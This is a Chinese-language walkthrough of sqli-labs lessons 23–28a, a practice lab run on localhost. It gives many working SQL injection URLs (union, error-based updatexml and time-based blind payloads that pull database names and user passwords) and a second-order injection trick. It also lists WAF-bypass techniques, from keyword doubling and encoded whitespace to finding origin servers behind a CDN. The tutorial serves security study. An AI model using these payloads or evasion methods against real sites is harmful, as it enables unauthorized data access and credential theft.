概述
目录
(五)第二十三关到第二十八a关
(1)第二十三关
(2)第二十四关
(3)补充知识(SQL注入WAF绕过)
1、白盒绕过
2、黑盒绕过
3、fuzz测试
(4)第二十五关
(5)第二十五a关
(6)第二十六关
(7)第二十六a关
(8)第二十七关
(9)第二十七a关
(10)第二十八关
(11)第二十八a关
(五)第二十三关到第二十八a关
注:后面几关可能要学会一点代码审计
(1)第二十三关
我们打开二十三关,提示我们使用id值进行注入,首先我们输入id=1
之后我们加上单引号,并使用 --+ 将后面的 ‘ 注释,回显后发现页面报错
查看源代码,发现
他将 # 、--+ 进行了替换,所以导致我们无法注释成功.
法一:这里我们可以使用一个 sqli-labs 通用的注释符号 ;%00 进行注释(以上均是在英文半角状态下输入的)
注入成功,之后操作和第一关类似。
法二:我们要先知道 sql 语句解析时的优先顺序。具体可以参考下面这篇文章:
步步深入:MySQL架构总览->查询执行流程->SQL解析顺序 - AnnsShadoW - 博客园 (cnblogs.com)
这里我们打开 MySQL命令行,依次输入以下命令
use security;
select * from users where id=1;
select * from users where id=1 or 1=1;
select * from users where id=1 or 1=2;
select * from users where id=1 and 1=1;
select * from users where id=1 order by 10 or 1=1;
select * from users where id=1 or 1=1 order by 10;
下面是输出结果的截图
这里我们发现明明上面输入id=1的时候只输出了第一行,这里却全部显示了,因为这个 or 后面的语句是恒正确的,而or 是或的意思,所以只要有一个是对的就会全部输出,甚至我们可以将id的值改为一个不存在的值都是这个结果,但是如果我们将 or 后面的语句改为恒错的话如下面所示
接下来换成and语句,and 是和的意思,所以要两个语句都对的情况下才能输出正常
接下来我们使用 order by 和 or、and 连起来试试看
我们知道这个数据库字段数为3,order by 10 明显是错误的,但是却正常显示了,我们先试试and,发现结果一样,但是当我们将 order by 移到or 后面
发现运行正常了,这是因为:id=1 or 1=1作为where的条件,被执行后得到的结果,然后执行order by,因为结果中没有第10个字段而报错;在上面那个语句中,order by在where的条件中,在where执行时被忽略了,得到结果后并未再执行order by 语句。
回到less-23,根据我们上面讲的首先构造一个闭合
http://127.0.0.1/sqli-labs-master/Less-23/?id=1' order by 4 or '1'='1
但是我们也知道这个order by 是被忽略的,所以拿到后面
但是我们又发现了一个新问题,那就是再这个语句拿到数据库中执行时,它只执行了,id=1 or '1'='1' ,将其中的order by忽略处理了,所以我们永远不可能有报错的情况,所以这一关可以使用union select 联合查询。
http://127.0.0.1/sqli-labs-master/Less-23/?id=1' union select 1,2,3 or '1'='1
http://127.0.0.1/sqli-labs-master/Less-23/?id=1' union select 1,2,3,4 or '1'='1
这里能够执行成功是因为:这里将or '1'='1 放到了 union select 语句中作为第二个语句条件,而不是where 的查询语句了,所以我们可以用这种方式来查询字段数, 表名等
http://127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,(select database()),3 or '1'='1
http://127.0.0.1/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 or '1'='1
这个是查数据库名,接下来操作大家都知道了。
法三:使用updatexml报错注入
http://127.0.0.1/sqli-labs-master/Less-23/?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1
其他步骤类似。
(2)第二十四关
首先我们先来简单的了解一下二次注入的有关知识,
SQL注入防御绕过——二次注入 - 简书 (jianshu.com)
打开less-24,首先我们创建一个账号,用户名为 admin'# 密码为:123456
提示注册成功,然后我们输入admin'# 123456登录,它提醒我们可以改密码,我们改为:13579,之后退出登录,再使用 admin 13579登录,发现登录成功,实现了一次越权登录,这个就是简单的二次注入。
在源码中看到下面句子
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
这里的#就是把后面的句子注释掉了,也就变成了
$sql = "UPDATE users SET PASSWORD='13579' where username='admin'#' and password='$curr_pass' ";
也就不需要知道管理员的密码就可以直接进行更改了。
(3)补充知识(SQL注入WAF绕过)
WAF绕过大致可分为三类:
1、白盒绕过
2、黑盒绕过
3、fuzz测试
下面对这三种进行简单介绍
1、白盒绕过
通过源代码分析来进行绕过,也就是代码审计
例:less-25
2、黑盒绕过
(1)架构层面绕过waf
(2)资源限制角度绕过waf
(3)协议层面绕过waf
(4)规则层面绕过waf
简单介绍:
(1)架构层面绕过waf
1.寻找源网站绕过waf检测
主要针对的是云waf,找到源网站的真实地址,进行绕过,有点像CDN。
云waf可以理解为WEB应用防火墙的云模式,会对你发送的信息进行检测,如果含有恶意代码就不会发送给源网站,如果能知道源网站的真实地址,就可以拿着我们的恶意代码直接进行测试,叫做渗透测试。
CDN,全称为Content Delivery Network,比如一个访问量很大的网站,如果许多人都直接访问它的源网站,会导致服务效率降低,所以源网站会建立许多CDN在外面,用户访问的其实是这些CDN,然后这些节点再与源网站进行交互,而我们要进行渗透就必须要知道源网站。
一般的攻击方法为:
{
1、超级ping,通过返回的ping值判断是否存在CDN服务器,CDN节点,不同地区ping值返回的ip地址不同同样可以作为判断是否存在CDN的依据。
2、注册的方式,一般不大的网站,注册时是不通过CDN而是直接发送给源网站并由源网站返回的。
3、使用国外的IP地址进行访问,可以返回真实的IP地址。
}
2.通过同网段绕过waf防护
可以通过对同网段的主机进行渗透,拿到权限后在内网进行waf绕过。
(2)资源限制角度绕过waf
一般的waf的执行需要从业务优先的角度考虑,所以对于构造较大、超大数据包不会检测从而绕过waf,一般用于上传操作。
(3)协议层面绕过waf
协议未覆盖绕过waf,比如只检测get型,不检测post型
(4)规则层面的绕过
{
1、sql注释符绕过
1.union/*/select 我们将union select中间的空格使用注释符进行替换(适用于对union select之间的空格进行检测的情况)
2.union/*hhhh%0%32#*/select 我们在注释符中间填充内容(随便填充)
3.union/*aaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbccccccccccccc%%%%%%%%*/select 构造较大的数据
4./*!union select*/内联注释 mysql特有
2、空白符绕过
1.mysql空白符:%09,%0A,%0B,%0D,%20,%0C,%AD,/*xxx*/
2.正则空白符:%09,%0A,%0B,%0D
%25就是百分号,%25A0 就是空白符
3、函数分割符号
concat%2520
4、浮点数词法解释
waf对于id=1可以进行检测,但是对于id=1E0(E是多少次方的意思)、id=1.0、id=N可能就无法检测
5、利用error-based进行sql注入
报错注入
6、mysql特殊语法
select {x schema_name} from {x information_schema.schemata}; 会输出所有库名
7、大小写绕过
如果对关键字 and or union等进行了过滤,可以考虑使用大小写混合写法(MySQL对大小写并不敏感)
但是多时候有函数会对大小写进行过滤,这是可以考虑使用双写的方法
8、关键字重复
oOrR
9、关键字替换
如果还是无法绕过,可以考虑替换的方法
and --> && or --> || like --> = <> --> != 等等
}
3、fuzz测试
可以使用burp suite 配合手工进行测试,后期测试成功后再用脚本进行处理
(4)第二十五关
法一:提示我们使用id值,我们输入id=1,正常回显,加上单引号,并对后面进行注释
http://127.0.0.1/sqli-labs-master/Less-25/?id=1'--+
再看字段数
http://127.0.0.1/sqli-labs-master/Less-25/?id=1' order by 3--+
发现他对or进行了过滤操作,尝试换成大写,发现也不行,重复双写可以
http://127.0.0.1/sqli-labs-master/Less-25/?id=1' oorrder by 3--+
这里识别了中间那个or,将其过滤掉,但是再过滤掉之后前面的 o 和后面的 r 组合在一起成了新的or,and也是这样操作
http://127.0.0.1/sqli-labs-master/Less-25/?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+
注意:这里的information中也有or,所以要双写
后面手法一样的。
法二:报错注入
http://127.0.0.1/sqli-labs-master/Less-25/?id=-1' || updatexml(1,concat(0x7e,(schema_name from infoorrmation_schema.schemata limit 0,1)),1)--+
(5)第二十五a关
就是不要用 ' 闭合就行了,其他一样的,也可以使用时间盲注
http://127.0.0.1/sqli-labs-master/Less-25a/?id=-1 oorr if((length(database()) > 2),sleep(0.3),1)--+
会延迟3,4秒的样子就是前面那个表达式正确的
(6)第二十六关
二十六关对空格和注释符进行了过滤,我们可以尝试使用以下方法进行注入
法一:报错注入
http://127.0.0.1/sqli-labs-master/Less-26/?id=1'||updatexml(1,concat(0x7e,mid((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),1,31)),1)||'1'='1
http://127.0.0.1/sqli-labs-master/Less-26/?id=1'||updatexml(1,concat(0x7e,mid((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),32,31)),1)||'1'='1
这里的||相当于or,mid(a,b,c)函数参数中,a表示要选的对象,比如说这里选的所有库名,b表示起始位置,c表示选取的长度,这里c的最大值只能为31,所以可以用这种方式慢慢弄出结果,limit在这里由于空格的问题无法解决所以没有办法使用。
http://127.0.0.1/sqli-labs-master/Less-26/?id=1'||updatexml(1,concat(0x7e,(select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users) where (id=1))),1)||'1'='1
http://127.0.0.1/sqli-labs-master/Less-26/?id=1'||updatexml(1,concat(0x7e,(select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users) where (id=2))),1)||'1'='1
取数据时则是可以用这种改id的值来获取。
法二:替换空格
将空格用%0a代替即可,其他就可以和平常注入一样了
(7)第二十六a关
这里就是 ' 变为 ') ,但是要注意,这里不能使用报错注入,我们可以看一下源码
这里将报错信息进行了注释,但是仍然可以使用%a0来代替空格,或者使用时间盲注也可以,如果后面不用;%00来进行注释,要注意加上括号哦。
如:
http://127.0.0.1/sqli-labs-master/Less-26a/?id=1') %26%26 ('1')=('1
这个%26转码过来就是&
(8)第二十七关
这里将union select 进行了过滤
http://127.0.0.1/sqli-labs-master/Less-27/?id=-1' ||updatexml(1,concat(0x7e,mid((sElect (group_concat(schema_name)) from (information_schema.schemata)),1,31)),1)||'1'='1
使用报错注入,这里试探一下,发下select写成sElect可以绕过过滤,从源码中也可以看出
(9)第二十七a关
http://127.0.0.1/sqli-labs-master/Less-27a/?id=0"%0a uniOn%0aSelECT%0a1,database(),3||"1"="1
其他就是替换掉database()了
(10)第二十八关
把 union select 过滤了,是把这个整体过滤了而不是其中的任意一个词过滤,所以我们仍然可以使用select,然后发现将报错信息不输出,所以用时间盲注,如果觉得一个一个手注太慢,可以使用sqlmap,或者是使用我在之前第三关写的一个python脚本,可以对其进行稍作修改即可
http://127.0.0.1/sqli-labs-master/Less-28/?id=1') %0a and %0a if(((select %0a schema_name %0a from %0a information_schema.schemata %0a limit %0a 0,1)='mysql'),sleep(3),1) %0a and %0a ('1')=('1
(11)第二十八a关
同样时间盲注也可。
最后
以上就是能干红牛为你收集整理的SQL注入之sqli-labs(五)(五)第二十三关到第二十八a关的全部内容,希望文章能够帮你解决SQL注入之sqli-labs(五)(五)第二十三关到第二十八a关所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复